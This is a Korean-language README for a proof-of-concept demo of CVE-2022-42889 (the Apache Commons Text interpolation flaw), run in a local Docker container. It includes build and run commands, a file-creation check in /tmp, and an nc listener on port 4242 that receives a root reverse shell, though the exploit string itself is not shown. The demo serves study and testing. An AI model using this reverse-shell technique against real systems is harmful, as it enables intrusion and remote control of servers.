
CVE-2022-42889 취약점을 악용하는 방법을 보여주는 간단한 애플리케이션
CVE-2022-42889 취약점을 악용하는 방법을 보여주는 간단한 데모 애플리케이션입니다.
OOB(Out of Band) 서비스를 사용하여 dns 및 url 접두어를 시연합니다.
commons-text 보간을 위한 JavaDocs commons-text JavaDocs
보간 예제
Rapid7 인용
이 취약점은 Log4Shell과 비교되어 왔습니다. 왜냐하면 이것은 관련 객체를 사용하는 다양한 소프트웨어 애플리케이션에 영향을 미칠 가능성이 있는 오픈 소스 라이브러리 수준의 취약점이기 때문입니다.
그러나 초기 분석 결과 이는 잘못된 비교임을 시사합니다. 취약점의 특성상 Log4Shell과 달리 애플리케이션이 Commons Text의 취약한 구성 요소를 사용하여 신뢰할 수 없는 잠재적으로 악의적인 입력을 처리하는 경우는 드물 것입니다.
Docker Hub에서 이미지를 가져오는 경우 Java와 maven은 생략할 수 있습니다.
애플리케이션 빌드
mvn clean package
Docker 이미지 빌드
docker build -t cve-2022-42889-poc .
Docker 이미지 실행
docker run --rm -p 8081:8081 -t cve-2022-42889-poc
애플리케이션에 접속하여 지침을 따릅니다
open http://localhost:8081
취약점이 /tmp/ 디렉토리에 새 파일(/tmp/blop)을 생성하는지 확인합니다.
➜ ~ docker exec -ti cve-2022-42889-poc /bin/ls /tmp
blop tomcat-docbase.8081.12439436974042217796
hsperfdata_root tomcat.8081.2549096106233509364
➜ ~
리버스 셸. 로컬 머신에서 "nc" 실행
➜ ~ nc -lv 4242
root@7cfcd6a39a61:/# whoami && uname -a
whoami && uname -a
root
Linux 7cfcd6a39a61 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64 GNU/Linux
root@7cfcd6a39a61:/#

